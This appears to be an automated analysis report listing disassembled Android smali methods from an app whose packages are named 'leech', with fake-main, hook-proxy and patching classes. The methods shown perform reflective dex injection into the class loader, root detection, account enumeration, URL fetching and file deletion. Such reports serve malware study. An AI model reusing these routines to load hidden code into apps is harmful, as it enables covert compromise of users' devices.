                                                                              13invoke-virtual {v2}, Ljava/io/File;->listFiles()[Ljava/io/File;
                                                                              14move-result-object v1
                                                                              15if-eqz v1, :cond_20
                                                                              16array-length v3, v1
                                                                              17const/4 v2, 0x0
                                                                              18goto_16: if-ge v2, v3, :cond_20
                                                                              19aget-object v0, v1, v2
                                                                              21invoke-virtual {v0}, Ljava/io/File;->delete()Z
                                                                              22add-int/lit8 v2, v2, 0x1
                                                                              23goto/16 :goto_16
                                                                              24cond_20: return-void
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Integer.toString
                                                                              • java.lang.NoSuchMethodError.<init>
                                                                              • java.lang.reflect.InvocationTargetException.getTargetException
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1invoke-static {p0}, Lcom/android/support/multidex/Application$MultiDexVersion$VN24;->mxe(I)Ljava/lang/reflect/Method;
                                                                              2move-result-object v0
                                                                              3if-eqz v0, :cond_c
                                                                              4const/4 p0, 0x0
                                                                              6invoke-virtual {v0, p0, p1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              7move-result-object p0
                                                                              8return-object p0
                                                                              9cond_c: new-instance p1, Ljava/lang/NoSuchMethodError;
                                                                              11invoke-static {p0}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                                                                              12move-result-object p0
                                                                              14invoke-direct {p1, p0}, Ljava/lang/NoSuchMethodError;-><init>(Ljava/lang/String;)V
                                                                              15throw p1
                                                                              16try_end_16: move-exception p0
                                                                              18invoke-virtual {p0}, Ljava/lang/reflect/InvocationTargetException;->getTargetException()Ljava/lang/Throwable;
                                                                              19move-result-object p0
                                                                              20throw p0
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Integer.toString
                                                                              • java.lang.NoSuchMethodError.<init>
                                                                              • java.lang.reflect.InvocationTargetException.getTargetException
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1invoke-static {p1}, Lcom/android/support/multidex/Application$MultiDexVersion$VN24;->mxe(I)Ljava/lang/reflect/Method;
                                                                              2move-result-object v0
                                                                              3if-eqz v0, :cond_b
                                                                              5invoke-virtual {v0, p0, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              6move-result-object p0
                                                                              7return-object p0
                                                                              8cond_b: new-instance p0, Ljava/lang/NoSuchMethodError;
                                                                              10invoke-static {p1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                                                                              11move-result-object p1
                                                                              13invoke-direct {p0, p1}, Ljava/lang/NoSuchMethodError;-><init>(Ljava/lang/String;)V
                                                                              14throw p0
                                                                              15try_end_15: move-exception p0
                                                                              17invoke-virtual {p0}, Ljava/lang/reflect/InvocationTargetException;->getTargetException()Ljava/lang/Throwable;
                                                                              18move-result-object p0
                                                                              19throw p0
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              2move-result-object p0
                                                                              4invoke-virtual {p0, p2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              5move-result-object p0
                                                                              6const/4 p2, 0x1
                                                                              8invoke-virtual {p0, p2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              10invoke-virtual {p0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              11move-result-object p0
                                                                              12try_end_10: return-object p0
                                                                              13catch_11: const/4 p0, 0x0
                                                                              14return-object p0
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              Position Instruction Meta Information
                                                                              0const/4 v0, 0x0
                                                                              1try_start_1:
                                                                              2invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              3move-result-object p0
                                                                              5invoke-virtual {p0, p1}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              6move-result-object p0
                                                                              7const/4 p1, 0x1
                                                                              9invoke-virtual {p0, p1}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              11invoke-virtual {p0, v0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              12move-result-object p0
                                                                              13try_end_11: return-object p0
                                                                              14catch_12: return-object v0
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0const/4 v0, 0x0
                                                                              1try_start_1:
                                                                              2invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              3move-result-object p0
                                                                              5invoke-virtual {p0, p1, p2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              6move-result-object p0
                                                                              7const/4 p1, 0x1
                                                                              9invoke-virtual {p0, p1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              11invoke-virtual {p0, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              12move-result-object p0
                                                                              13try_end_11: return-object p0
                                                                              14catch_12: return-object v0
                                                                              Cross References
                                                                              APIs
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.accounts.AccountManager.getAccountsByType
                                                                              • android.accounts.Account.name:Ljava/lang/String
                                                                              • java.lang.String.equalsIgnoreCase
                                                                              Position Instruction Meta Information
                                                                              0const/4 v0, 0x0
                                                                              1if-eqz p0, :cond_24
                                                                              3invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              4move-result v1
                                                                              5if-nez v1, :cond_24
                                                                              7invoke-virtual {p0, p1}, Landroid/accounts/AccountManager;->getAccountsByType(Ljava/lang/String;)[Landroid/accounts/Account;
                                                                              8move-result-object p0
                                                                              9if-eqz p0, :cond_24
                                                                              10array-length v1, p0
                                                                              11const/4 v2, 0x0
                                                                              12goto_11: if-ge v2, v1, :cond_24
                                                                              13aget-object v3, p0, v2
                                                                              14if-eqz v3, :cond_21
                                                                              16iget-object v3, v3, Landroid/accounts/Account;->name:Ljava/lang/String;
                                                                              18invoke-virtual {p1, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                                                              19move-result v3
                                                                              20if-eqz v3, :cond_21
                                                                              21const/4 p0, 0x1
                                                                              22return p0
                                                                              23cond_21: add-int/lit8 v2, v2, 0x1
                                                                              24goto/16 :goto_11
                                                                              25cond_24: return v0
                                                                              APIs
                                                                              Strings
                                                                              • TApplicationException
                                                                              • message
                                                                              • type
                                                                              Position Instruction Meta Information
                                                                              0new-instance v0, LuAgent/commonsdk/proguard/ap;
                                                                              2const-string v1, "TApplicationException"
                                                                              4invoke-direct {v0, v1}, LuAgent/commonsdk/proguard/ap;-><init>(Ljava/lang/String;)V
                                                                              5sput-object v0, LuAgent/commonsdk/proguard/k;->j:LuAgent/commonsdk/proguard/ap;
                                                                              6new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              8const-string v1, "message"
                                                                              9const/16 v2, 0xb
                                                                              10const/4 v3, 0x1
                                                                              12invoke-direct {v0, v1, v2, v3}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              13sput-object v0, LuAgent/commonsdk/proguard/k;->k:LuAgent/commonsdk/proguard/af;
                                                                              14new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              16const-string v1, "type"
                                                                              17const/16 v2, 0x8
                                                                              18const/4 v3, 0x2
                                                                              20invoke-direct {v0, v1, v2, v3}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              21sput-object v0, LuAgent/commonsdk/proguard/k;->l:LuAgent/commonsdk/proguard/af;
                                                                              22return-void
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.Integer.toString
                                                                              • java.lang.NoSuchFieldError.<init>
                                                                              Position Instruction Meta Information
                                                                              1invoke-static {p1}, Lcom/android/support/multidex/Application$MultiDexVersion$VN24;->gtfxqj(I)Ljava/lang/reflect/Field;
                                                                              2move-result-object v0
                                                                              3if-eqz v0, :cond_b
                                                                              5invoke-virtual {v0, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              6move-result-object p0
                                                                              7return-object p0
                                                                              8cond_b: new-instance p0, Ljava/lang/NoSuchFieldError;
                                                                              10invoke-static {p1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                                                                              11move-result-object p1
                                                                              13invoke-direct {p0, p1}, Ljava/lang/NoSuchFieldError;-><init>(Ljava/lang/String;)V
                                                                              14throw p0
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • makeDexElements
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "dexPathList" # Ljava/lang/Object;
                                                                              1.param p2, "optimizedDirectory" # Ljava/io/File;
                                                                              2.annotation system Ldalvik/annotation/Signature;
                                                                              3value = {
                                                                              4"(",
                                                                              5"Ljava/lang/Object;",
                                                                              6"Ljava/util/ArrayList",
                                                                              7"<",
                                                                              8"Ljava/io/File;",
                                                                              9">;",
                                                                              10"Ljava/io/File;",
                                                                              11"Ljava/util/ArrayList",
                                                                              12"<",
                                                                              13"Ljava/io/IOException;",
                                                                              14">;)[",
                                                                              15"Ljava/lang/Object;"
                                                                              16}
                                                                              17.end annotation
                                                                              18.annotation system Ldalvik/annotation/Throws;
                                                                              19value = {
                                                                              20Ljava/lang/IllegalAccessException;,
                                                                              21Ljava/lang/reflect/InvocationTargetException;,
                                                                              22Ljava/lang/NoSuchMethodException;
                                                                              23}
                                                                              24.end annotation
                                                                              25.prologue
                                                                              26const/4 v7, 0x3
                                                                              27const/4 v6, 0x2
                                                                              28const/4 v5, 0x1
                                                                              29const/4 v4, 0x0
                                                                              31const-string v1, "makeDexElements"
                                                                              32new-array v2, v7, [Ljava/lang/Class;
                                                                              33const-class v3, Ljava/util/ArrayList;
                                                                              34aput-object v3, v2, v4
                                                                              35const-class v3, Ljava/io/File;
                                                                              36aput-object v3, v2, v5
                                                                              37const-class v3, Ljava/util/ArrayList;
                                                                              38aput-object v3, v2, v6
                                                                              40invoke-static {p0, v1, v2}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->findMethod(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              41move-result-object v0
                                                                              42new-array v1, v7, [Ljava/lang/Object;
                                                                              43aput-object p1, v1, v4
                                                                              44aput-object p2, v1, v5
                                                                              45aput-object p3, v1, v6
                                                                              47invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              48move-result-object v1
                                                                              49check-cast v1, [Ljava/lang/Object;
                                                                              50check-cast v1, [Ljava/lang/Object;
                                                                              51return-object v1
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • makePathElements
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "dexPathList" # Ljava/lang/Object;
                                                                              1.param p2, "optimizedDirectory" # Ljava/io/File;
                                                                              2.annotation system Ldalvik/annotation/Signature;
                                                                              3value = {
                                                                              4"(",
                                                                              5"Ljava/lang/Object;",
                                                                              6"Ljava/util/ArrayList",
                                                                              7"<",
                                                                              8"Ljava/io/File;",
                                                                              9">;",
                                                                              10"Ljava/io/File;",
                                                                              11"Ljava/util/ArrayList",
                                                                              12"<",
                                                                              13"Ljava/io/IOException;",
                                                                              14">;)[",
                                                                              15"Ljava/lang/Object;"
                                                                              16}
                                                                              17.end annotation
                                                                              18.annotation system Ldalvik/annotation/Throws;
                                                                              19value = {
                                                                              20Ljava/lang/IllegalAccessException;,
                                                                              21Ljava/lang/reflect/InvocationTargetException;,
                                                                              22Ljava/lang/NoSuchMethodException;
                                                                              23}
                                                                              24.end annotation
                                                                              25.prologue
                                                                              26const/4 v7, 0x3
                                                                              27const/4 v6, 0x2
                                                                              28const/4 v5, 0x1
                                                                              29const/4 v4, 0x0
                                                                              31const-string v1, "makePathElements"
                                                                              32new-array v2, v7, [Ljava/lang/Class;
                                                                              33const-class v3, Ljava/util/List;
                                                                              34aput-object v3, v2, v4
                                                                              35const-class v3, Ljava/io/File;
                                                                              36aput-object v3, v2, v5
                                                                              37const-class v3, Ljava/util/List;
                                                                              38aput-object v3, v2, v6
                                                                              40invoke-static {p0, v1, v2}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->findMethod(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              41move-result-object v0
                                                                              42new-array v1, v7, [Ljava/lang/Object;
                                                                              43aput-object p1, v1, v4
                                                                              44aput-object p2, v1, v5
                                                                              45aput-object p3, v1, v6
                                                                              47invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              48move-result-object v1
                                                                              49check-cast v1, [Ljava/lang/Object;
                                                                              50check-cast v1, [Ljava/lang/Object;
                                                                              51return-object v1
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • makePathElements
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "dexPathList" # Ljava/lang/Object;
                                                                              1.param p2, "optimizedDirectory" # Ljava/io/File;
                                                                              2.annotation system Ldalvik/annotation/Signature;
                                                                              3value = {
                                                                              4"(",
                                                                              5"Ljava/lang/Object;",
                                                                              6"Ljava/util/ArrayList",
                                                                              7"<",
                                                                              8"Ljava/io/File;",
                                                                              9">;",
                                                                              10"Ljava/io/File;",
                                                                              11"Ljava/util/ArrayList",
                                                                              12"<",
                                                                              13"Ljava/io/IOException;",
                                                                              14">;)[",
                                                                              15"Ljava/lang/Object;"
                                                                              16}
                                                                              17.end annotation
                                                                              18.annotation system Ldalvik/annotation/Throws;
                                                                              19value = {
                                                                              20Ljava/lang/IllegalAccessException;,
                                                                              21Ljava/lang/reflect/InvocationTargetException;,
                                                                              22Ljava/lang/NoSuchMethodException;
                                                                              23}
                                                                              24.end annotation
                                                                              25.prologue
                                                                              26const/4 v7, 0x3
                                                                              27const/4 v6, 0x2
                                                                              28const/4 v5, 0x1
                                                                              29const/4 v4, 0x0
                                                                              31const-string v1, "makePathElements"
                                                                              32new-array v2, v7, [Ljava/lang/Class;
                                                                              33const-class v3, Ljava/util/List;
                                                                              34aput-object v3, v2, v4
                                                                              35const-class v3, Ljava/io/File;
                                                                              36aput-object v3, v2, v5
                                                                              37const-class v3, Ljava/util/List;
                                                                              38aput-object v3, v2, v6
                                                                              40invoke-static {p0, v1, v2}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->findMethod(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              41move-result-object v0
                                                                              42new-array v1, v7, [Ljava/lang/Object;
                                                                              43aput-object p1, v1, v4
                                                                              44aput-object p2, v1, v5
                                                                              45aput-object p3, v1, v6
                                                                              47invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              48move-result-object v1
                                                                              49check-cast v1, [Ljava/lang/Object;
                                                                              50check-cast v1, [Ljava/lang/Object;
                                                                              51return-object v1
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Build.TAGS:Ljava/lang/String
                                                                              • java.lang.String.contains
                                                                              Strings
                                                                              • test-keys
                                                                              Position Instruction Meta Information
                                                                              1sget-object v0, Landroid/os/Build;->TAGS:Ljava/lang/String;
                                                                              2if-eqz v0, :cond_e
                                                                              4const-string v1, "test-keys"
                                                                              6invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              7move-result v0
                                                                              8if-eqz v0, :cond_e
                                                                              9const/4 v0, 0x1
                                                                              10goto_d: return v0
                                                                              11cond_e: const/4 v0, 0x0
                                                                              12goto/16 :goto_d
                                                                              APIs
                                                                              • java.io.File.listFiles
                                                                              • java.io.File.delete
                                                                              Position Instruction Meta Information
                                                                              1iget-object v0, p0, LuAgent/commonsdk/statistics/common/d$a;->b:Ljava/io/File;
                                                                              3iget-object v1, p0, LuAgent/commonsdk/statistics/common/d$a;->c:Ljava/io/FilenameFilter;
                                                                              5invoke-virtual {v0, v1}, Ljava/io/File;->listFiles(Ljava/io/FilenameFilter;)[Ljava/io/File;
                                                                              6move-result-object v1
                                                                              7if-eqz v1, :cond_19
                                                                              8array-length v0, v1
                                                                              9if-lez v0, :cond_19
                                                                              10array-length v2, v1
                                                                              11const/4 v0, 0x0
                                                                              12goto_f: if-ge v0, v2, :cond_19
                                                                              13aget-object v3, v1, v0
                                                                              15invoke-virtual {v3}, Ljava/io/File;->delete()Z
                                                                              16add-int/lit8 v0, v0, 0x1
                                                                              17goto/16 :goto_f
                                                                              18cond_19: return-void
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.content.SharedPreferences$Editor.commit
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "editor" # Landroid/content/SharedPreferences$Editor;
                                                                              1.prologue
                                                                              3sget-object v0, Lcom/android/leech/main/loader/multidex/MultiDexExtractor;->sApplyMethod:Ljava/lang/reflect/Method;
                                                                              4if-eqz v0, :cond_e
                                                                              5try_start_4:
                                                                              6sget-object v0, Lcom/android/leech/main/loader/multidex/MultiDexExtractor;->sApplyMethod:Ljava/lang/reflect/Method;
                                                                              7const/4 v1, 0x0
                                                                              8new-array v1, v1, [Ljava/lang/Object;
                                                                              10invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              11goto_c: return-void
                                                                              12catch_d: move-exception v0
                                                                              13goto_e:
                                                                              14invoke-interface {p0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                                                                              15goto/16 :goto_c
                                                                              16catch_12: move-exception v0
                                                                              17goto/16 :goto_e
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Process.killProcess
                                                                              • java.lang.Process.destroy
                                                                              Position Instruction Meta Information
                                                                              1invoke-static {p0}, LuAgent/commonsdk/internal/utils/g;->b(Ljava/lang/Process;)I
                                                                              2move-result v0
                                                                              3if-eqz v0, :cond_9
                                                                              4try_start_6:
                                                                              5invoke-static {v0}, Landroid/os/Process;->killProcess(I)V
                                                                              6goto_9: return-void
                                                                              7catch_a: move-exception v0
                                                                              8try_start_b:
                                                                              9invoke-virtual {p0}, Ljava/lang/Process;->destroy()V
                                                                              10try_end_e: goto/16 :goto_9
                                                                              11catch_f: move-exception v0
                                                                              12goto/16 :goto_9
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getPackageCodePath
                                                                              • android.content.Context.getPackageName
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "mContext" # Landroid/content/Context;
                                                                              1.prologue
                                                                              3invoke-virtual {p1}, Landroid/content/Context;->getPackageCodePath()Ljava/lang/String;
                                                                              4move-result-object v0
                                                                              5sput-object v0, Lcom/android/leech/main/fake/FakeMain;->sAPKPath:Ljava/lang/String;
                                                                              7invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              8move-result-object v0
                                                                              9sput-object v0, Lcom/android/leech/main/fake/FakeMain;->sPackageName:Ljava/lang/String;
                                                                              10return-void
                                                                              Cross References
                                                                              APIs
                                                                              • java.net.URL.openConnection
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "url" # Ljava/net/URL;
                                                                              1.annotation system Ldalvik/annotation/Throws;
                                                                              2value = {
                                                                              3Ljava/io/IOException;
                                                                              4}
                                                                              5.end annotation
                                                                              6.prologue
                                                                              8invoke-virtual {p0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              9move-result-object v0
                                                                              10try_start_4:
                                                                              11invoke-static {v0}, Lcom/android/leech/patch/axmleditor/utils/IOUtils;->toByteArray(Ljava/net/URLConnection;)[B
                                                                              12try_end_7: move-result-object v1
                                                                              14invoke-static {v0}, Lcom/android/leech/patch/axmleditor/utils/IOUtils;->close(Ljava/net/URLConnection;)V
                                                                              15return-object v1
                                                                              16catchall_c: move-exception v1
                                                                              18invoke-static {v0}, Lcom/android/leech/patch/axmleditor/utils/IOUtils;->close(Ljava/net/URLConnection;)V
                                                                              19throw v1
                                                                              Cross References
                                                                              APIs
                                                                              Strings
                                                                              • Version
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "bakpath" # Ljava/lang/String;
                                                                              1.prologue
                                                                              2const-wide/16 v0, -0x1
                                                                              4invoke-static {p1}, Lcom/android/leech/base/util/FileUtils;->checkFile(Ljava/lang/String;)Z
                                                                              5move-result v3
                                                                              6if-eqz v3, :cond_12
                                                                              8const-string v3, "Version"
                                                                              10invoke-static {p1, v3}, Lcom/android/leech/base/util/ZipUtils;->readBytesEntry(Ljava/lang/String;Ljava/lang/String;)[B
                                                                              11move-result-object v2
                                                                              13invoke-virtual {p0, v2}, Lcom/android/leech/patch/baksmali/Baksmali;->getBakVerCodeByConfig([B)J
                                                                              14move-result-wide v0
                                                                              15cond_12: return-wide v0
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "proxy" # Ljava/lang/Object;
                                                                              1.param p2, "method" # Ljava/lang/reflect/Method;
                                                                              2.param p3, "args" # [Ljava/lang/Object;
                                                                              3.annotation system Ldalvik/annotation/Throws;
                                                                              4value = {
                                                                              5Ljava/lang/Throwable;
                                                                              6}
                                                                              7.end annotation
                                                                              8.prologue
                                                                              10iget-object v0, p0, Lcom/android/leech/base/hook/proxy/NotificationProxy;->baseObj:Ljava/lang/Object;
                                                                              12invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              13move-result-object v0
                                                                              14return-object v0
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "proxy" # Ljava/lang/Object;
                                                                              1.param p2, "method" # Ljava/lang/reflect/Method;
                                                                              2.param p3, "args" # [Ljava/lang/Object;
                                                                              3.annotation system Ldalvik/annotation/Throws;
                                                                              4value = {
                                                                              5Ljava/lang/Throwable;
                                                                              6}
                                                                              7.end annotation
                                                                              8.prologue
                                                                              10iget-object v0, p0, Lcom/android/leech/base/hook/proxy/ToastProxy;->base:Ljava/lang/Object;
                                                                              12invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              13move-result-object v0
                                                                              14return-object v0
                                                                              Cross References
                                                                              APIs
                                                                              Strings
                                                                              • Version
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "bytes" # [B
                                                                              1.prologue
                                                                              2const-wide/16 v0, 0x0
                                                                              3if-eqz p1, :cond_e
                                                                              5const-string v3, "Version"
                                                                              7invoke-static {p1, v3}, Lcom/android/leech/base/util/ZipUtils;->findZipBufToBytes([BLjava/lang/String;)[B
                                                                              8move-result-object v2
                                                                              10invoke-virtual {p0, v2}, Lcom/android/leech/patch/baksmali/Baksmali;->getBakVerCodeByConfig([B)J
                                                                              11move-result-wide v0
                                                                              12cond_e: return-wide v0
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0if-eqz p0, :cond_7
                                                                              1if-eqz p1, :cond_7
                                                                              2try_start_4:
                                                                              3invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              4try_end_7: return-void
                                                                              5catch_8: move-exception v0
                                                                              6goto/16 :goto_7
                                                                              7catch_a: move-exception v0
                                                                              8goto/16 :goto_7
                                                                              9catch_c: move-exception v0
                                                                              10goto/16 :goto_7
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0if-eqz p0, :cond_6
                                                                              1const/4 v0, 0x0
                                                                              2try_start_3:
                                                                              3invoke-virtual {p0, v0, p1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              4try_end_6: return-void
                                                                              5catch_7: move-exception v0
                                                                              6goto/16 :goto_6
                                                                              7catch_9: move-exception v0
                                                                              8goto/16 :goto_6
                                                                              9catch_b: move-exception v0
                                                                              10goto/16 :goto_6
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Build.BRAND:Ljava/lang/String
                                                                              • java.lang.Throwable.printStackTrace
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              2const-string v0, ""
                                                                              3try_start_2:
                                                                              4sget-object v0, Landroid/os/Build;->BRAND:Ljava/lang/String;
                                                                              5try_end_4: return-object v0
                                                                              6catch_5: move-exception v1
                                                                              8invoke-virtual {v1}, Ljava/lang/Throwable;->printStackTrace()V
                                                                              9goto/16 :goto_4
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                                                                              Strings
                                                                              • fail
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0:
                                                                              2sget-object v0, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                                                                              3try_end_2: return-object v0
                                                                              4catch_3: move-exception v1
                                                                              6const-string v0, "fail"
                                                                              7goto/16 :goto_2
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Build.MODEL:Ljava/lang/String
                                                                              Strings
                                                                              • fail
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0:
                                                                              2sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                                                              3try_end_2: return-object v0
                                                                              4catch_3: move-exception v1
                                                                              6const-string v0, "fail"
                                                                              7goto/16 :goto_2
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              1invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              2move-result-object p0
                                                                              3return-object p0
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              1invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              2move-result-object p0
                                                                              3return-object p0
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              1invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              2move-result-object p0
                                                                              3return-object p0
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              1invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              2move-result-object p0
                                                                              3return-object p0
                                                                              APIs
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              1invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              2move-result-object p0
                                                                              3return-object p0
                                                                              APIs
                                                                              Strings
                                                                              • version
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              2const-string v0, "version"
                                                                              3return-object v0
                                                                              APIs
                                                                              • android.os.Build.CPU_ABI:Ljava/lang/String
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              2sget-object v0, Landroid/os/Build;->CPU_ABI:Ljava/lang/String;
                                                                              3return-object v0
                                                                              APIs
                                                                              Strings
                                                                              • ,
                                                                              • \n
                                                                              • *******************************************
                                                                              • *******************************************\n\n
                                                                              • keytool error:
                                                                              • keytool \u932f\u8aa4\uff1a
                                                                              • Illegal option:
                                                                              • \u975e\u6cd5\u9078\u9805\uff1a
                                                                              • Try keytool -help
                                                                              • \u5617\u8a66 keytool -help
                                                                              • Command option <flag> needs an argument.
                                                                              • \u6307\u4ee4\u9078\u9805 {0} \u9700\u8981\u5f15\u6578\u3002
                                                                              • Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value.
                                                                              • \u8b66\u544a\ufe30PKCS12 \u91d1\u9470\u5132\u5b58\u5eab\u4e0d\u652f\u63f4\u4e0d\u540c\u7684\u5132\u5b58\u5eab\u548c\u91d1\u9470\u5bc6\u78bc\u3002\u5ffd\u7565\u4f7f\u7528\u8005\u6307\u5b9a\u7684 {0} \u503c\u3002
